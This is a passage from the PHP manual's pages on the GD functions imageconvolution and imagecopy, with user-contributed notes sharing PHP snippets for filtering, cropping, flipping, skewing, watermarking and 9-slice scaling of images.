    $imageWidth = imagesx($image);
    $imageHeight = imagesy($image);

    imageFilledRectangle($image, 0, 0, $imageWidth - 1, $imageHeight - 1, $backgroundColor);
    imageFilledRectangle($image, $rectX1, $rectY1, $rectX2, $rectY2, $shadowColor);

    for ( $pointX = $rectX1 - $distance; $pointX < $imageWidth; $pointX++ ) {
      for ( $pointY = $rectY1 - $distance; $pointY < $imageHeight; $pointY++ ) {

        if ( $pointX > $rectX1 + $distance &&
             $pointX < $rectX2 - $distance &&
             $pointY > $rectY1 + $distance &&
             $pointY < $rectY2 - $distance ) {
          $pointY = $rectY2 - $distance;
        }

        $boxX1 = $pointX - $distance;
        $boxY1 = $pointY - $distance;
        $boxX2 = $pointX + $distance;
        $boxY2 = $pointY + $distance;

        $xOverlap = max(0, min($boxX2, $rectX2) - max($boxX1, $rectX1));
        $yOverlap = max(0, min($boxY2, $rectY2) - max($boxY1, $rectY1));

        $totalOverlap = $xOverlap * $yOverlap;
        $shadowPcnt = $totalOverlap / $potentialOverlap;
        $backPcnt = 1.0 - $shadowPcnt;

        $newR = $shadowR * $shadowPcnt + $backR * $backPcnt;
        $newG = $shadowG * $shadowPcnt + $backG * $backPcnt;
        $newB = $shadowB * $shadowPcnt + $backB * $backPcnt;

        $newcol = imagecolorallocate($image, $newR, $newG, $newB);
        imagesetpixel($image, $pointX, $pointY, $newcol);
      }
    }
  }
dyer85 at gmail dot com 07-Jan-2006 02:24
Took me a while, but thanks to a couple of the user notes on the array_values PHP documentation page, I was able to come up with a way to dynamically compute the divisor.

I'm using PHP 5.1.0b2 on Win32 with the bundled GD library. When I try and use the imageconvolution function, whether normally, or via the functions below, the resulting image (I've only tried JPEGs and GIFs), always comes out far too bright, even when the divisor makes matrix sum equal to 1. The only thing that would reduce the brightness was to make the offset argument ridiculously large. So, I'm not sure if this effects anyone else.

Here are the functions with an example:

<?php
$im = imagecreatefromjpeg('path/to/pic.jpg');
$matrix = array(   array(5,5,5),
                   array(5,15,5),
                   array(5,5,5) );
makeFilter($im, $matrix);

header ( 'Content-Type: image/jpeg' );
imagejpeg($im);
imagedestroy($im);

/**
 * functions
 */
// This flattens the 3X3 array matrix, so we can get the sum of all the values
function array_flatten($array) {
    (array)$tempArray = array();

    foreach ( $array as $value ) {
        if ( is_array($value) ) {
            $tempArray = array_merge($tempArray, array_flatten($value));
        } else {
            $tempArray[] = $value;
        }
    }

    return $tempArray;
}

// Creates the divisor value dynamically, and passes offset
function makeFilter($resource, $matrix, $offset=1.0) {
    global $$resource;
    (float)$divisor = array_sum(array_flatten($matrix));
    return imageconvolution($resource, $matrix, $divisor, $offset) ? true : false;
}
?>
26-Oct-2005 05:32
The example below didn't provide a 3x3 matrix. Correctly, it's a multidimensional array.

<?php
    $matrix = array(    array( -1, -1, -1 ),
                        array( -1, 16, -1 ),
                        array( -1, -1, -1 ) );
?>
timeshifting at gmail dot com 24-Aug-2005 03:40
Matrices can be used for sharpening, blurring, edge detection, etc, ala Photoshop.

A sharpening example:

<?php

$sharpenMatrix = array(-1,-1,-1,-1,16,-1,-1,-1,-1);
$divisor = 8;
$offset = 0;

imageconvolution($myImage, $sharpenMatrix, $divisor, $offset);

?>

Below is some information on building different kinds of matrices. (If you have photoshop (or PSP, GIMP) you can test out your matrices before applying them in PHP)

http://loriweb.pair.com/8udf-basics.html (covers blurs)
http://loriweb.pair.com/8udf-sharpen.html
http://loriweb.pair.com/8udf-edges.html
http://loriweb.pair.com/8udf-emboss.html
imagecolortransparent
imagecopy
GD and Image Functions


Copy part of an image

imageconvolution
imagecopymerge
GD and Image Functions
PHP Manual

imagecopy

(PHP 4, PHP 5)

imagecopy — Copy part of an image

Description

bool imagecopy ( resource $dst_im , resource $src_im , int $dst_x , int $dst_y , int $src_x , int $src_y , int $src_w , int $src_h )

Copy a part of src_im onto dst_im starting at the x,y coordinates src_x, src_y with a width of src_w and a height of src_h. The portion defined will be copied onto the x,y coordinates, dst_x and dst_y.

Parameters

dst_im

Destination image link resource.

src_im

Source image link resource.

dst_x

x-coordinate of destination point.

dst_y

y-coordinate of destination point.

src_x

x-coordinate of source point.

src_y

y-coordinate of source point.

src_w

Source width.

src_h

Source height.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Cropping the PHP.net logo

<?php
// Create image instances
$src = imagecreatefromgif('php.gif');
$dest = imagecreatetruecolor(80, 40);

// Copy
imagecopy($dest, $src, 0, 0, 20, 13, 80, 40);

// Output and free from memory
header('Content-Type: image/gif');
imagegif($dest);

imagedestroy($dest);
imagedestroy($src);
?>

The above example will output something similar to:

Output of example : Cropping the PHP.net logo

User Contributed Notes

petr dot biza at gmail dot com 11-May-2010 07:23
There is function to crop blank edges from image.

<?php
/**
* $image image cursor (from imagecreatetruecolor)
* $backgound image curosr (from imagecolorallocate)
* $paddng int
*/
function imageCrop($image, $background = false, $padding = 0) {
    if($background)
      $background = imagecolorallocate($image, 255, 255, 255);

    $top = imageSY($image);
    $left = imageSX($image);
    $bottom = 0;
    $right = 0;

    for ($x = 0 ; $x < imagesx($image) ; $x++) {
        for ($y = 0 ; $y < imagesy($image) ; $y++) {

          // if there match
            if(imagecolorat($image, $x, $y) != $background) {

              if($x < $left)
                $left = $x;
              if($x > $right)
                $right = $x;
              if($y > $bottom)
                $bottom = $y;
              if($y < $top)
                $top = $y;
        }
        }
    }

    $right++;
    $bottom++;

    // create new image with padding
    $img = imagecreatetruecolor($right-$left+$padding*2,$bottom-$top+$padding*2);
    // fill the background
    imagefill($img, 0, 0, $background);
    // copy
    imagecopy($img, $image, $padding, $padding, $left, $top, $right-$left, $bottom-$top);

    // destroy old image cursor
    imagedestroy($image);
    return $img;
}
?>
latin4567 at gmail dot com 22-Sep-2009 07:29
I have created a PHP function which performs the standard 9-Slice scaling technique. This is extremely useful for thumbnail shadow scaling, and anything involving skinning. Feel free to pick apart and use

Note: instead of specifying margins, my 9-slicing routine uses a centered-rectangle concept... as input you provide the image (as a resource), the x and y coords of the rectangle, and the width and height of the rectangle.

The $src_im parameter should be an image resource. This script was written for 9-slicing translucent PNG images, and has only been tested with translucent PNG images, however it should work with other image types (possibly requiring some modification)

so if your source image was 400 x 400, you needed a 24 pixel margin on all sides, and your target size was 800 x 500, you would use the following parameters:

<?php
$im = NineSlice($im, 24, 24, 352, 352, 800, 500)
?>

<?php
/* 9-Slice Image Slicing Script by Sam Kelly (DuroSoft: http://www.durosoft.com) */
function NineSlice($src_im, $rect_x, $rect_y, $rect_w, $rect_h, $target_w, $target_h)
{
    $src_w = imagesx($src_im);
    $src_h = imagesy($src_im);

    $im = CreateBlankPNG($target_w, $target_h);
    imagealphablending($im,true);

    $left_w = $rect_x;
    $right_w = $src_w - ($rect_x + $rect_w);

    $left_src_y = ceil($rect_h / 2) - 1 + $rect_y;
    $right_src_y = $left_src_y;

    $left_src_x = 0;
    $right_src_x = $left_w + $rect_w;

    $top_src_x = ceil($rect_w / 2) - 1 + $rect_x;
    $bottom_src_x = $top_src_x;
    $bottom_src_y = $rect_y + $rect_h;
    $bottom_h = $src_h - $bottom_src_y;

    $left_tile = CreateBlankPNG($left_w, 1);
    imagecopy($left_tile, $src_im, 0, 0, 0, $left_src_y, $left_w, 1);

    $right_tile = CreateBlankPNG($right_w, 1);
    imagecopy($right_tile, $src_im, 0, 0, $right_src_x, $right_src_y, $right_w, 1);

    $top_tile = CreateBlankPNG(1, $rect_y);
    imagecopy($top_tile, $src_im, 0, 0, $top_src_x, 0, 1, $rect_y);

    $bottom_tile = CreateBlankPNG(1, $bottom_h);
    imagecopy($bottom_tile, $src_im, 0, 0, $bottom_src_x, $bottom_src_y, 1, $bottom_h);

    $inner_tile = CreateBlankPNG(4, 4);
    imagecopy($inner_tile, $src_im, 0, 0, ceil($src_w / 2) - 1, ceil($src_h / 2) - 1, 4, 4);

    imagecopy($im, $src_im, 0, 0, 0, 0, $left_w, $rect_y);
    imagecopy($im, $src_im, 0, $target_h - $bottom_h, 0, $bottom_src_y, $rect_x, $bottom_h);
    imagecopy($im, $src_im, $target_w - $right_w, 0, $right_src_x, 0, $right_w, $rect_y);
    imagecopy($im, $src_im, $target_w - $right_w, $target_h - $bottom_h, $src_w - $right_w, $bottom_src_y, $right_w, $bottom_h);

    imagesettile($im, $top_tile);
    imagefilledrectangle($im, $left_w, 0, $target_w - $right_w - 1, $rect_y, IMG_COLOR_TILED);

    imagesettile($im, $left_tile);
    imagefilledrectangle($im, 0, $rect_y, $left_w, $target_h - $bottom_h - 1, IMG_COLOR_TILED);

    $right_side = CreateBlankPNG($right_w, $target_h - $rect_y - $bottom_h);
    imagesettile($right_side, $right_tile);
    imagefilledrectangle($right_side, 0, 0, $right_w, $target_h - $rect_y - $bottom_h, IMG_COLOR_TILED);
    imagecopy($im, $right_side, $target_w - $right_w, $rect_y, 0, 0, $right_w, $target_h - $rect_y - $bottom_h);

    $bottom_side = CreateBlankPNG($target_w - $right_w - $left_w, $bottom_h);
    imagesettile($bottom_side, $bottom_tile);
    imagefilledrectangle($bottom_side, 0, 0, $target_w - $right_w - $left_w, $bottom_h, IMG_COLOR_TILED);
    imagecopy($im, $bottom_side, $right_w, $target_h - $bottom_h, 0, 0, $target_w - $right_w - $left_w, $bottom_h);

    imagedestroy($left_tile);
    imagedestroy($right_tile);
    imagedestroy($top_tile);
    imagedestroy($bottom_tile);
    imagedestroy($inner_tile);
    imagedestroy($right_side);
    imagedestroy($bottom_side);

    return $im;
}

function CreateBlankPNG($w, $h)
{
    $im = imagecreatetruecolor($w, $h);
    imagesavealpha($im, true);
    $transparent = imagecolorallocatealpha($im, 0, 0, 0, 127);
    imagefill($im, 0, 0, $transparent);
    return $im;
}
 ?>
Chad Allard 06-Jul-2009 12:20
Regarding the image_flip function discussed in the notes here, don't forget to support transparency.

AFTER:

$imgdest = imagecreatetruecolor($width, $height);

ADD:

imagealphablending($imgdest, false);
imagesavealpha($imgdest, true);

In another post here it mentioned you didn't have to use the imagesavealpha function, but I found without it the background transparency can turn the background canvas black.
etienne at escott dot info 03-Jul-2009 02:16
This is based on the Skew function from designerkamal at gmail dot com.

This is a function for skewing images in PHP with anti-aliasing. It works with alpha PNG images.

Warning: the bigger the image you skew, the longer it will take to process. It's about 3 times longer than without anti-aliasing.

<?php
// $img: handle of an image
// $skew_val: level of skew to apply (0 being none, 1 being 45°)
function imageskewantialiased($img, $skew_val)
{
    $width = imagesx($img);
    $height = imagesy($img);
    $height2 = $height + ($width * $skew_val);

    // See below for definition of imagecreatealpha
    $imgdest = imagecreatealpha($width, $height2);

    // Process the image
    for($x = 0, $level = 0; $x < $width - 1; $x++)
    {
        $floor = floor($level);

        // To go faster, some lines are being copied at once
        if ($level == $floor)
            imagecopy($imgdest, $img, $x, $level, $x, 0, 1, $height - 1);
        else
        {
            $temp = $level - $floor;

            // The first pixel of the line
            // We get the color then apply a fade on it depending on the level
            $color1 = imagecolorsforindex($img, imagecolorat($img, $x, 0));
            $alpha = $color1['alpha'] + ($temp * 127);
            if ($alpha < 127)
            {
                $color = imagecolorallocatealpha($imgdest, $color1['red'], $color1['green'], $color1['blue'], $alpha);
                imagesetpixel($imgdest, $x, $floor, $color);
            }

            // The rest of the line
            for($y = 1; $y < $height - 1; $y++)
            {
                // Merge this pixel and the upper one
                $color2 = imagecolorsforindex($img, imagecolorat($img, $x, $y));
                $alpha = ($color1['alpha'] * $temp) + ($color2['alpha'] * (1 - $temp));
                if ($alpha < 127)
                {
                    $red   = ($color1['red']   * $temp) + ($color2['red']   * (1 - $temp));
                    $green = ($color1['green'] * $temp) + ($color2['green'] * (1 - $temp));
                    $blue  = ($color1['blue']  * $temp) + ($color2['blue']  * (1 - $temp));
                    $color = imagecolorallocatealpha($imgdest, $red, $green, $blue, $alpha);
                    imagesetpixel($imgdest, $x, $floor + $y, $color);
                }

                $color1 = $color2;
            }

            // The last pixel of the line
            $color1 = imagecolorsforindex($img, imagecolorat($img, $x, $height - 1));
            $alpha = $color1['alpha'] + ((1 - $temp) * 127);
            if ($alpha < 127)
            {
                $color = imagecolorallocatealpha($imgdest, $color1['red'], $color1['green'], $color1['blue'], $alpha);
                imagesetpixel($imgdest, $x, $floor + $height - 1, $color);
            }
        }

        // The line is finished, the next line will be lower
        $level += $skew_val;
    }

    // Finished processing, return the skewed image
    return $imgdest;
}

// Creates a new image of the size specified with a blank background (transparent)
function imagecreatealpha($width, $height)
{
    // Create a normal image and apply required settings
    $img = imagecreatetruecolor($width, $height);
    imagealphablending($img, false);
    imagesavealpha($img, true);

    // Apply the transparent background
    $trans = imagecolorallocatealpha($img, 0, 0, 0, 127);
    for ($x = 0; $x < $width; $x++)
    {
        for ($y = 0; $y < $height; $y++)
        {
            imagesetpixel($img, $x, $y, $trans);
        }
    }

    return $img;
}

// Here's an example of how to use it
imagepng(imageskewantialiased(imagecreatefrompng('test.png'), 0.15), 'skew.png');
?>
John Conde 27-May-2009 07:55
Simple and basic image cropping:

<?php
// Original image
$filename = 'someimage.jpg';

// Get dimensions of the original image
list($current_width, $current_height) = getimagesize($filename);

// The x and y coordinates on the original image where we
// will begin cropping the image
$left = 50;
$top = 50;

// This will be the final size of the image (e.g. how many pixels
// left and down we will be going)
$crop_width = 200;
$crop_height = 200;

// Resample the image
$canvas = imagecreatetruecolor($crop_width, $crop_height);
$current_image = imagecreatefromjpeg($filename);
imagecopy($canvas, $current_image, 0, 0, $left, $top, $current_width, $current_height);
imagejpeg($canvas, $filename, 100);
?>
webmaster at plumage dot nl 18-Mar-2009 04:38
I have a few remarks om the mirror-function:
The cases horizontal and vertical are switched.
1 = vertical and 2 = horizontal.
When I used it there appeared a black lining of 1 pixel on the side or on the top of the picture.
To remove it the function becomes as follows:

<?php
function ImageFlip ( $imgsrc, $mode )
{

    $width                        =    imagesx ( $imgsrc );
    $height                       =    imagesy ( $imgsrc );

    $src_x                        =    0;
    $src_y                        =    0;
    $src_width                    =    $width;
    $src_height                   =    $height;

    switch ( $mode )
    {

        case '1': //vertical
            $src_y                =    $height -1;
            $src_height           =    -$height;
        break;

        case '2': //horizontal
            $src_x                =    $width -1;
            $src_width            =    -$width;
        break;

        case '3': //both
            $src_x                =    $width -1;
            $src_y                =    $height -1;
            $src_width            =    -$width;
            $src_height           =    -$height;
        break;

        default:
            return $imgsrc;

    }

    $imgdest                    =    imagecreatetruecolor ( $width, $height );

    if ( imagecopyresampled ( $imgdest, $imgsrc, 0, 0, $src_x, $src_y , $width, $height, $src_width, $src_height ) )
    {
        return $imgdest;
    }

    return $imgsrc;

}
?>
xafford 27-Sep-2008 05:53
concerning the previous post of Borszczuk and the function to mirror images:

There´s a way better (and faster) method for this task with imagecopyresampled.

<?php

define ( 'IMAGE_FLIP_HORIZONTAL', 1 );
define ( 'IMAGE_FLIP_VERTICAL', 2 );
define ( 'IMAGE_FLIP_BOTH', 3 );

function ImageFlip ( $imgsrc, $mode )
{

    $width                        =    imagesx ( $imgsrc );
    $height                       =    imagesy ( $imgsrc );

    $src_x                        =    0;
    $src_y                        =    0;
    $src_width                    =    $width;
    $src_height                   =    $height;

    switch ( (int) $mode )
    {

        case IMAGE_FLIP_HORIZONTAL:
            $src_y                =    $height;
            $src_height           =    -$height;
        break;

        case IMAGE_FLIP_VERTICAL:
            $src_x                =    $width;
            $src_width            =    -$width;
        break;

        case IMAGE_FLIP_BOTH:
            $src_x                =    $width;
            $src_y                =    $height;
            $src_width            =    -$width;
            $src_height           =    -$height;
        break;

        default:
            return $imgsrc;

    }

    $imgdest                    =    imagecreatetruecolor ( $width, $height );

    if ( imagecopyresampled ( $imgdest, $imgsrc, 0, 0, $src_x, $src_y, $width, $height, $src_width, $src_height ) )
    {
        return $imgdest;
    }

    return $imgsrc;

}

?>
Cory Gagliardi 08-Jul-2008 11:40
Here is some simple code for resizing an uploaded image and inserting a watermark (from a 24-bit PNG) on the bottom right of it.  In this case, the water mark was a diagnol band that said "SOLD" across it.  The code that verifies the uploaded image is the correct type has been omitted:

<?PHP
//Load and resize the image
$uploaded = imagecreatefromjpeg($_FILES['file']['tmp_name']);
$image = imagecreatetruecolor(IMAGE_WIDTH, IMAGE_HEIGHT);
imagecopyresampled($image, $uploaded, 0, 0, 0, 0, IMAGE_WIDTH, IMAGE_HEIGHT, imagesx($uploaded), imagesy($uploaded));
imagealphablending($image,true); //allows us to apply a 24-bit watermark over $image

//Load the sold watermark
$sold_band = imagecreatefrompng('../images/sold_band.png');
imagealphablending($sold_band,true);

//Apply watermark and save
$image = image_overlap($image, $sold_band);
imagecopy($image,$sold_band,IMAGE_WIDTH - SOLD_WIDTH,IMAGE_HEIGHT - SOLD_HEIGHT,0,0,SOLD_WIDTH,SOLD_HEIGHT);
$success = imagejpeg($image,'../images/sold/'.$id.'.jpg',85);

imagedestroy($image);
imagedestroy($uploaded);
imagedestroy($sold_band);
?>
matrebatre 02-Feb-2008 05:22
I had the same problem as Jeff, but his solution didn't work for me. I made this script, and it seems to work:

<?php

$img = imagecreatefromgif('in.gif');
$w = imagesx($img);
$h = imagesy($img);

$trans = imagecolortransparent($img);
if($trans >= 0) {

$rgb = imagecolorsforindex($img, $trans);

$oldimg = $img;
$img = imagecreatetruecolor($w,$h);
$color = imagecolorallocate($img,$rgb['red'],$rgb['green'],$rgb['blue']);
imagefilledrectangle($img,0,0,$w,$h,$color);
imagecopy($img,$oldimg,0,0,0,0,$w,$h);

}

imagegif($img,'out.gif');

?>
Jeff 22-Feb-2007 03:27
I came across the problem of having a page where any image could be uploaded, then I would need to work with it as a true color image with transparency. The problem came with palette images with transparency (e.g. GIF images), the transparent parts changed to black (no matter what color was actually representing transparent) when I used imagecopy to convert the image to true color.

To convert an image to true color with the transparency as well, the following code works (assuming $img is your image resource):

<?php
//Convert $img to truecolor
$w = imagesx($img);
$h = imagesy($img);
if (!imageistruecolor($img)) {
  $original_transparency = imagecolortransparent($img);
  //we have a transparent color
  if ($original_transparency >= 0) {
    //get the actual transparent color
    $rgb = imagecolorsforindex($img, $original_transparency);
    $original_transparency = ($rgb['red'] << 16) | ($rgb['green'] << 8) | $rgb['blue'];
    //change the transparent color to black, since transparent goes to black anyways (no way to remove transparency in GIF)
    imagecolortransparent($img, imagecolorallocate($img, 0, 0, 0));
  }
  //create truecolor image and transfer
  $truecolor = imagecreatetruecolor($w, $h);
  imagealphablending($img, false);
  imagesavealpha($img, true);
  imagecopy($truecolor, $img, 0, 0, 0, 0, $w, $h);
  imagedestroy($img);
  $img = $truecolor;
  //remake transparency (if there was transparency)
  if ($original_transparency >= 0) {
    imagealphablending($img, false);
    imagesavealpha($img, true);
    for ($x = 0; $x < $w; $x++)
      for ($y = 0; $y < $h; $y++)
        if (imagecolorat($img, $x, $y) == $original_transparency)
          imagesetpixel($img, $x, $y, 127 << 24);
  }
}
?>

And now $img is a true color image resource
john at mccarthy dot net 17-Jan-2007 05:37
Here is an upgrade of that cool wave function: Double the size of the image, wave it, then resample it down again. This makes even nicer, anti aliased waves.

    // So easy and nice!
    function wave_region($img, $x, $y, $width, $height,$amplitude = 4.5,$period = 30)
    {
        // Make a copy of the image twice the size
        $mult = 2;
        $img2 = imagecreatetruecolor($width * $mult, $height * $mult);
        imagecopyresampled ($img2,$img,0,0,$x,$y,$width * $mult,$height * $mult,$width, $height);

        // Wave it
        for ($i = 0;$i < ($width * $mult);$i += 2)
        {
           imagecopy($img2,$img2,
               $x + $i - 2,$y + sin($i / $period) * $amplitude,    // dest
               $x + $i,$y,            // src
               2,($height * $mult));
        }

        // Resample it down again
        imagecopyresampled ($img,$img2,$x,$y,0,0,$width, $height,$width * $mult,$height * $mult);
        imagedestroy($img2);
    }

To use it in a full image:
    wave_region ($oImage,0,0,imagesx($oImage),imagesy($oImage));
gilthans at NOSPAMgmail dot com 14-Jan-2007 11:19
This function does not resize the image. src_w and src_h are only used to define the portion of src_img that are going to be copied.
That is, it will copy src_img from coordinates src_x, src_y until src_w, src_h, and paste them on the dst_img starting from dst_x and dst_y.
If you wish to resize the image before copying it, check out
ImageCopyResized (though note it is slightly slower when you don't need to resize the image).
alex at gateway-productions dot com 08-Jan-2007 03:34
Id just like to make a clarification

imagecopy ( resource dst_im, resource src_im, int dst_x, int dst_y, int src_x, int src_y, int src_w, int src_h )

width of src_w and a height of src_h

Will not resize an image when resource src_im and resource dst_im are both defined

this may be a error with gd I believe I am running v2
C. Jansen 16-Aug-2006 11:02
While replying to a post in a support forum I noticed something odd about imagecopy(). The first snippet (should) create an image object, allocate a colour resource within that image, fill the background with the allocated colour and then copy another, cropped to fit, image onto it.

<?php
    // create a new image resource
    $temp = imagecreatetruecolor( $width, $height );
    $white = imagecolorallocate( $temp, 255, 255, 255 );

    //fill the background with white
    imagefill( $temp, 0, 0, $white );

    //copy the image into new a resource
    imagecopy($temp, $this->Image, 0, 0, $crop_top, $crop_left, $width, $height);
?>

But this produces a black background. I noticed taking away the imagefill() call yields the same results. The solution was to call imagefill() after the imagecopy(). Thinking linearly I would have guessed this to cover the previously copied image in white but it doesn't. I guess GD uses a layer system? Is this correct?

<?php
    // create a new image resource
    $temp = imagecreatetruecolor( $width, $height );
    $white = imagecolorallocate( $temp, 255, 255, 255 );

    // copy image into new resource
    imagecopy( $temp, $this->Image, 0, 0, $crop_top, $crop_left, $width, $height );

    //fill the background with white (not sure why it has to be in this order)
    imagefill( $temp, 0, 0, $white );
?>

I am using php 5.1.4 with the bundled GD (2.0.28)
administrador(ensaimada)sphoera(punt)com 03-May-2006 03:27
I've made a little function to wave images:

<?php
// So easy and nice!
function wave_region($img, $x, $y, $width, $height,$grade=5){
        for ($i=0;$i<$width;$i+=2){
            imagecopy($img,$img,
                $x+$i-2,$y+sin($i/10)*$grade,     //dest
                $x+$i,$y,             //src
                2,$height);
        }
    }
?>

More functions at http://www.sphoera.com
02-Apr-2006 10:21
Basic way to implement a "crop" feature : given an image (src), an offset (x, y) and a size (w, h).

crop.php :
<?php
$w=$_GET['w'];
$h=isset($_GET['h'])?$_GET['h']:$w;    // h est facultatif, =w par défaut
$x=isset($_GET['x'])?$_GET['x']:0;    // x est facultatif, 0 par défaut
$y=isset($_GET['y'])?$_GET['y']:0;    // y est facultatif, 0 par défaut
$filename=$_GET['src'];
header('Content-type: image/jpg');
header('Content-Disposition: attachment; filename='.$src);
$image = imagecreatefromjpeg($filename);
$crop = imagecreatetruecolor($w,$h);
imagecopy ( $crop, $image, 0, 0, $x, $y, $w, $h );
imagejpeg($crop);
?>

Call it like this :

<img src="crop.php?x=10&y=20&w=30&h=40&src=photo.jpg">
admin at cvxdes dot com 23-Feb-2006 08:26
I used this to watermark images. This is the function I wrote:

<?php
function watermark($url,$logo){
    $bwidth  = imagesx($url);
    $bheight = imagesy($url);
    $lwidth  = imagesx($logo);
    $lheight = imagesy($logo);
    $src_x = $bwidth - ($lwidth + 5);
    $src_y = $bheight - ($lheight + 5);
    ImageAlphaBlending($url, true);
    ImageCopy($url,$logo,$src_x,$src_y,0,0,$lwidth,$lheight);
}
?>

Usage:
<?php
//$current_image would be your image the watermark is overlayed onto. Make sure it's imagecreatefrom*** to work.
watermark($current_image,$watermark_image);
?>

Hope this helps someone.
relsqui at chiliahedron dot com 10-Feb-2006 12:28
Here's an alternative image-flipping function which is simpler than either of the ones I've seen in the docs here. It takes the source image and the mode (zero for horizontal, nonzero for vertical) and returns the flipped image.

<?php
function imageflip($image, $mode) {
        $w = imagesx($image);
        $h = imagesy($image);
        $flipped = imagecreate($w, $h);
        if ($mode) {
                for ($y = 0; $y < $h; $y++) {
                        imagecopy($flipped, $image, 0, $y, 0, $h - $y - 1, $w, 1);
                }
        } else {
                for ($x = 0; $x < $w; $x++) {
                        imagecopy($flipped, $image, $x, 0, $w - $x - 1, 0, 1, $h);
                }
        }
        return $flipped;
}
?>
designerkamal at gmail dot com 09-Feb-2006 11:38
Skewing images in PHP...
<?php
function Skew($src, $dest, $skew_val)
{
  $imgsrc = imagecreatefromgif($src);
  $width = imagesx($imgsrc);
  $height = imagesy($imgsrc);
  $imgdest = imagecreatetruecolor($width, $height+($height*$skew_val));
  $trans = imagecolorallocate($imgdest,0,0,0);
  $temp=0;
  for($x=0 ; $x<$width ; $x++)
   {
     for($y=0 ; $y<$height ; $y++)
    {
        imagecopy($imgdest, $imgsrc, $x, $y+$temp, $x, $y, 1, 1);
      imagecolortransparent($imgdest,$trans);

    }
    $temp+=$skew_val;
   }
  imagepng($imgdest, $dest);
  imagedestroy($imgsrc);
  imagedestroy($imgdest);
}
Skew("img.gif", "img2.png","1");
print "<img src='img.gif'>";
print "<br><br>";
print "<img src='img2.png'>";
?>
oryan at zareste dot com 14-Jan-2006 08:21
The source's palette is added to the destination's palette when merged, and when the destination already has 256 colors on it, the source image is altered to use those colors.  Truecolor images always take up 256 colors when merged with palette images, so if you're planning to add any additional images after doing so, you can use imagetruecolortopalette() on the truecolor image before merging it to reduce how much palette space it takes, and avoid losing colors in future merges to the same destination.  Example - imagetruecolortopalette($truecolorimg, FALSE, 128);
ragnar_40k at hotmail dot com 21-Nov-2005 03:17
Here a function to make holes into images:

// Set the alpha channel for a part of an image (it ignores the canvas alpha atm).
// $img_canvas - 32-bit true color image w/ alpha channel
// $img_mask - 8-bit gray scale image (white parts will be masked transparent in the canvas).
// This relies on the current pixel format:
// (high byte) -> (alpha channel} {red} {green} {blue} <- (low byte)
function mask($img_canvas, $img_mask, $dst_x, $dst_y)
{
   $old_blendmode = imagealphablending($img_canvas, FALSE);

   $width  = imagesx($img_mask);
   $heigth = imagesy($img_mask);

   $mask_x = 0;
   $x = $dst_y;
   while ($mask_x<$width)
   {
       $mask_y = 0;
       $y = $dst_y;
       while ($mask_y<$heigth)
       {
           imagesetpixel($img_canvas, $x, $y,
               ((imagecolorat($img_mask, $mask_x, $mask_y) >> 1) << 24) | (imagecolorat($img_canvas, $x, $y) & 0x00FFFFFF));

           ++$mask_y;
           ++$y;
       }
       ++$mask_x;
       ++$x;
   }

   imagealphablending($img_canvas, $old_blendmode);
}
johnny at netvor dot sk 21-Oct-2005 08:48
simple image combination srcipt, ie. if u want to create one  huuuge signature from more small ones

<?php
// config --
$src = array ("http://www.google.com/images/logo_sm.gif", "http://sk2.php.net/images/php.gif");
$under = 0;    // combine images underneath or not?
// -- end of config

$imgBuf = array ();
$maxW=0; $maxH=0;
foreach ($src as $link)
{
    switch(substr ($link,strrpos ($link,".")+1))
    {
        case 'png':
            $iTmp = imagecreatefrompng($link);
            break;
        case 'gif':
            $iTmp = imagecreatefromgif($link);
            break;
        case 'jpeg':
        case 'jpg':
            $iTmp = imagecreatefromjpeg($link);
            break;
    }

    if ($under)
    {
        $maxW=(imagesx($iTmp)>$maxW)?imagesx($iTmp):$maxW;
        $maxH+=imagesy($iTmp);
    }
    else
    {
        $maxW+=imagesx($iTmp);
        $maxH=(imagesy($iTmp)>$maxH)?imagesy($iTmp):$maxH;
    }

    array_push ($imgBuf,$iTmp);
}

$iOut = imagecreate ($maxW,$maxH) ;

$pos=0;
foreach ($imgBuf as $img)
{
    if ($under)
        imagecopy ($iOut,$img,0,$pos,0,0,imagesx($img),imagesy($img));
    else
        imagecopy ($iOut,$img,$pos,0,0,0,imagesx($img),imagesy($img));
    $pos+= $under ? imagesy($img) : imagesx($img);
    imagedestroy ($img);
}

imagegif($iOut);
?>
php dot net at businet dot dk 20-Sep-2005 01:48
An little addon to Borszczuk's great function.

I've added the imagealphablending, so it supports transperency prette nice! It worked with me (only tested with PNG files).

I'm not sure if the imagesavealpha($imgdest, true); should be added, but it works fine without! No problems so far...

Thanks Borszczuk! Great job...

The code with the addon:
<?php
  define("IMAGE_FLIP_HORIZONTAL",    1);
  define("IMAGE_FLIP_VERTICAL",    2);
  define("IMAGE_FLIP_BOTH",    3);

function ImageFlip($imgsrc, $type)
{
  $width = imagesx($imgsrc);
  $height = imagesy($imgsrc);

  $imgdest = imagecreatetruecolor($width, $height);
    ImageAlphaBlending($imgdest, false);

  switch( $type )
      {
      // mirror wzgl. osi
      case IMAGE_FLIP_HORIZONTAL:
          for( $y=0 ; $y<$height ; $y++ )
              imagecopy($imgdest, $imgsrc, 0, $height-$y-1, 0, $y, $width, 1);
          break;

      case IMAGE_FLIP_VERTICAL:
          for( $x=0 ; $x<$width ; $x++ )
              imagecopy($imgdest, $imgsrc, $width-$x-1, 0, $x, 0, 1, $height);
          break;

      case IMAGE_FLIP_BOTH:
          for( $x=0 ; $x<$width ; $x++ )
              imagecopy($imgdest, $imgsrc, $width-$x-1, 0, $x, 0, 1, $height);

          $rowBuffer = imagecreatetruecolor($width, 1);
          for( $y=0 ; $y<($height/2) ; $y++ )
              {
              imagecopy($rowBuffer, $imgdest  , 0, 0, 0, $height-$y-1, $width, 1);
              imagecopy($imgdest  , $imgdest  , 0, $height-$y-1, 0, $y, $width, 1);
              imagecopy($imgdest  , $rowBuffer, 0, $y, 0, 0, $width, 1);
              }

          imagedestroy( $rowBuffer );
          break;
      }

  return( $imgdest );
}
?>
sawaz 03-Jul-2005 04:45
Just a little function that allows you to change the foreground color of a transparent gif or png.
It's supposed to use only two-color images, becouse it convert all the colors to the specified one.

It works with .gif or .png as source, but writes only .png

function ColorReplace( $url )
{
    # The new color and its channels
    $NEW_COLOR = "#FF66FF";
    $r = 0+("0x".substr( $NEW_COLOR, 1, 2));
    $g = 0+("0x".substr( $NEW_COLOR, 3, 2));
    $b = 0+("0x".substr( $NEW_COLOR, 5, 2));

    # I read the kind of file from the extension
    $tmp = pathinfo($url);
    $extension =$tmp['extension'];
    if( $extension == 'png' ) $oldIm = @imagecreatefrompng( $url );
    elseif( $extension == 'gif' ) $oldIm = @imagecreatefromgif( $url );

    # I replace EACH color in the palette with the new one
    for( $i=0; $i < imagecolorstotal( $oldIm ); $i++ )
